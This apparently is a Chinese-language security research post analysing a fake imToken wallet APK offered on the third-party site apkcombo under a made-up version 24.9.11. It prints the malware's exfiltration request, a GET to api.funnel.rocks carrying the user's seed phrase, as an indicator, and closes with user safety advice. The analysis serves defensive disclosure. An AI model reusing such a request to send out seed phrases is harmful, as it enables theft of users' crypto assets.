Web3 假钱包第三方源调查分析：以 apkcombo 为例

查找币:余老师 | 学术研究 | 2026-05-10 16:04 | 3 次浏览 | 0 条回复

查找币学术研究安全研究 Web3安全区块链安全

## 背景 Web3 世界正在重塑互联网的底层逻辑。与传统 Web2 应用中“账号密码”的登录方式不同，在区块链生态中，钱包是唯一的身份凭证。用户通过“Connect Wallet”而非“Login with Wallet”与去中心化应用交互。然而，正是这种入口级应用的地位，使其成为黑灰产攻击的焦点。在 Android 生态中，由于 Google Play 服务的地区限制或网络访问问题，大量用户转向第三方应用市场下载应用，如 apkcombo、apkpure、uptodown 等。这些平台宣称提供从官方商店镜像下载的 APK，但其安全性是否可靠？本文将基于查找币安全团队的深入调查，以 apkcombo 为例，剖析第三方源钱包的安全风险。 ## 第三方站点流量与影响 apkcombo 是全球知名的第三方应用下载站。根据 similarweb 数据： - **全球排名**：1,809 - **国家排名**：7,370 - **品类排名**：168 其提供的 Chrome APK 下载插件拥有超过 10 万用户。如此庞大的用户基数，意味着一旦应用被植入恶意代码，潜在受害者的规模将极其可观。 ## 假钱包发现：版本号异常我们以知名钱包 imToken 为例进行验证。 **官方下载路径**： ``` https://play.google.com/store/apps/details?id=im.token.app ``` **apkcombo 镜像站下载路径**： ``` https://apkcombo.com/downloader/#package=im.token.app ``` 在 apkcombo 上，imToken 显示的版本号为 **24.9.11**。经与 imToken 官方确认，**该版本号并不存在**。截至本文撰写时，imToken 最新正式版本为 2.11.3。显然，攻击者通过虚构高版本号（24.9.11）诱导用户下载，以伪装成最新版本。该假钱包在 apkcombo 上的下载量显示较大（实际为爬取 Google Play 的虚假数据），具有极强的迷惑性。此外，我们注意到类似的下游站点如 **uptodown**（下载地址：`https://imtoken.br.uptodown.com/android`）也存在类似问题。uptodown 平台允许任意注册用户发布应用，这进一步降低了钓鱼攻击的成本。 ## 恶意行为分析我们对 apkcombo 提供的版本号为 24.9.11 的假钱包进行了逆向分析。在用户创建钱包或导入助记词时，恶意代码会将敏感信息发送至攻击者控制的服务器。 **数据传输方式**： ``` https://api.funnel.rocks/api/trust?aid=10&wt=1&os=1&key=<助记词> ``` 通过分析 APK 代码和抓包流量，确认助记词以明文形式通过 GET 请求发送。该域名 `api.funnel.rocks` 的 SSL 证书最早出现在 **2022-06-03**，这标志着攻击活动的起始时间。 ## 攻击流程总结 1. 用户在第三方站点（如 apkcombo）下载假钱包 APK。 2. 安装后，假钱包界面与正版高度相似，用户输入助记词或私钥。 3. 恶意代码将敏感数据发送至 `api.funnel.rocks`。 4. 攻击者利用获取的助记词转移用户资产。 ## 安全建议 Web3 用户是安全体系中最薄弱的一环。针对此类钓鱼攻击，查找币安全团队提出以下建议： - **官方渠道下载**：始终通过钱包官方提供的 Google Play、App Store 或官网下载应用，避免使用第三方镜像站。 - **验证版本号**：安装前核对应用版本号与官方最新版本是否一致，警惕异常高版本号。 - **助记词安全**：任何要求输入助记词或私钥的应用都需高度警惕，官方钱包不会主动索取此类信息。 - **启用安全工具**：使用反钓鱼插件或安全浏览器，拦截恶意域名。 - **学习安全知识**：推荐阅读查找币出品的《区块链黑暗森林自救手册》（[GitHub 链接](https://github.com/查找币/Blockchain-dark-forest-selfguard-handbook)），提升整体安全意识。 ## 结语第三方应用市场虽为部分用户提供了便利，但也成为黑灰产活动的温床。本次调查揭示了 apkcombo 等平台存在假钱包的严重问题，且此类攻击呈现扩大趋势。作为 Web3 生态的守护者，查找币安全团队将持续监控此类威胁，并呼吁各方加强协作，共建安全防线。 **本文由查找币安全团队整理发布**

Web3 假钱包第三方源调查分析：以 apkcombo 为例

查找币安全研究院

主题延伸阅读